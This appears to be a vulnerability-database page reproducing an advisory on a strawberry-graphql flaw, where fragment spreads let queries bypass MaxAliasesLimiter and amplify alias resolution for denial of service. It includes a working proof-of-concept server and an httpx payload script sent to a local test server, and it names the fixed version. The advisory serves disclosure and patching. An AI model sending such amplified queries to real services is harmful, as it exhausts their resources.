Strawberry GraphQL's Bypass of MaxAliasesLimiter via Fragment Spreads leading to GraphQL Alias Amplification
Summary
The MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a dos via resource exhaustion.
Details
The current implementation of alias counting in strawberry/extensions/max_aliases.py uses a static approach
for selection in selection_set_owner.selection_set.selections:
if isinstance(selection, FieldNode) and selection.alias:
result += 1
if isinstance(selection, (FieldNode, InlineFragmentNode)) and ~~~:
result += count_fields_with_alias(selection)When a FragmentSpread is used multiple times, the actual number of aliases processed by the execution engine is
Total Aliases = query aliases + (num of spreads * aliases within fragment)
Because Strawberry only performs a static sum of the text, it misses this multiplication
PoC
server code
import strawberry
from fastapi import FastAPI
from strawberry.fastapi import GraphQLRouter
from strawberry.extensions import MaxAliasesLimiter
@strawberry.type
class User:
name: str = "GONA"
@strawberry.type
class Query:
@strawberry.field
def user(self) -> User:
return User()
# Limit is set to 20 aliases
schema = strawberry.Schema(
query=Query,
extensions=[MaxAliasesLimiter(max_alias_count=20)]
)
app = FastAPI()
app.include_router(GraphQLRouter(schema), prefix="/graphql")payloads
import httpx
payload = {
"query": """
fragment Amplification on User {
a1: name, a2: name, a3: name, a4: name, a5: name,
a6: name, a7: name, a8: name, a9: name, a10: name
}
query Bypass {
u1: user { ...Amplification }
u2: user { ...Amplification }
u3: user { ...Amplification }
u4: user { ...Amplification }
u5: user { ...Amplification }
u6: user { ...Amplification }
u7: user { ...Amplification }
u8: user { ...Amplification }
u9: user { ...Amplification }
u10: user { ...Amplification }
}
"""
}
response = httpx.post("http://127.0.0.1:8000/graphql", json=payload)
print(f"Status: {response.status_code}")
# The response will contain 100 'a' aliases nested within 10 'u' aliases.
print(response.json())Impact
An attacker can bypass security constraints to cause Application-level DOS. By staying just under the max_alias_count limit in the AST an attacker can trigger thousands of actual alias resolutions on the backend consuming excessive CPU and memory
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | strawberry-graphql | >= 0.172.0, < 0.315.7 | 0.315.7 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L- Weakness (CWE)
CWE-400- Platform
- Python (PyPI)
- Package
strawberry-graphql- Disclosed
- 04.06.2026
- Updated
- 11.10.2026 14:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-2284 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-fr49-mhgj-crfc - CC BY 4.0
Vulnerability history: strawberry-graphql
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 9
- First → latest
- 09.2024 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 3
- Medium 3
- Low 3
Disclosures per year
- 2024: 1
- 2025: 1
- 2026: 7
-
Strawberry GraphQL's Bypass of MaxAliasesLimiter via Fragment Spreads leading to GraphQL Alias Amplification this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.